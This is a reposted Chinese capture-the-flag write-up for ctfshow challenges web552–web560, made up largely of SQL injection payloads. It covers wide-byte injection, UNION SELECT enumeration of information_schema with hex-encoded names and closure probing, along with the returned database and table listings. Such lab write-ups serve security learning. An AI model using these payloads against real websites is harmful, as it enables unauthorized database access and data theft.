当前位置: 首页> 科技> 数码 > ctfshow web入门 sqli-libs web552--web560

ctfshow web入门 sqli-libs web552--web560

时间:2025/7/10 17:35:40来源:https://blog.csdn.net/2301_81040377/article/details/140082023 浏览次数:0次

web552

宽字节注入
嗯原理我就不讲了,还是有点复杂后面有时间讲讲
总而言之就是用汉字把\的转义作用抵消了然后正常注入即可
在这里插入图片描述
在这里插入图片描述

?id=-1包' union select 1,2,3--+?id=-1包'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77),3--+?id=-1包'union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616773),3--+?id=-1包'union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+

web553

与上题同

web554

在这里插入图片描述
在这里插入图片描述

passwd=admin&uname=爱' union select 1,2--+passwd=admin&uname=爱' union select 1,(select group_concat(schema_name) from information_schema.schemata)--+
Your Password:ctfshow,ctftraining,information_schema,mysql,performance_schema,security,testpasswd=admin&uname=爱' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77)--+
Your Password:flagspasswd=admin&uname=爱' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616773)--+
Your Password:id,flag4spasswd=admin&uname=爱' union select 1,(select group_concat(flag4s) from ctfshow.flags)--+

web555

在这里插入图片描述
警告是说第一个参数应该是一个数而不是布尔

?id=1.1 union select 1,2,3--+?id=1.1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77),3--+?id=1.1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616773),3--+?id=1.1 union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+

后面发现-1也可以
在这里插入图片描述
在这里插入图片描述

web556

又变成宽字节了

?id=-1爱' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77),3--+?id=-1爱' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616773),3--+?id=-1爱' union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+

web557

在这里插入图片描述
在这里插入图片描述
这东西和前面的一模一样感觉在凑数

passwd=admin&uname=爱' union select 1,2--+passwd=admin&uname=爱' union select 1,(select group_concat(schema_name) from information_schema.schemata)--+
Your Password:ctfshow,ctftraining,information_schema,mysql,performance_schema,security,testpasswd=admin&uname=爱' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77)--+
Your Password:flagspasswd=admin&uname=爱' union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x666c616773)--+
Your Password:id,flag4spasswd=admin&uname=爱' union select 1,(select group_concat(flag4s) from ctfshow.flags)--+

web558

简单的联合注入

?id=-1' union select 1,2,3--+?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3--+?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flags'),3--+?id=-1' union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+

web559

Please input the ID as parameter with numeric value
要一个数字参数
?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3--+?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flags'),3--+?id=-1 union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+

web560

测出闭合
?id=-1') or 1--+
?id=-1') or 0--+
?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow'),3--+?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flags'),3--+?id=-1') union select 1,(select group_concat(flag4s) from ctfshow.flags),3--+
关键字:ctfshow web入门 sqli-libs web552--web560

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: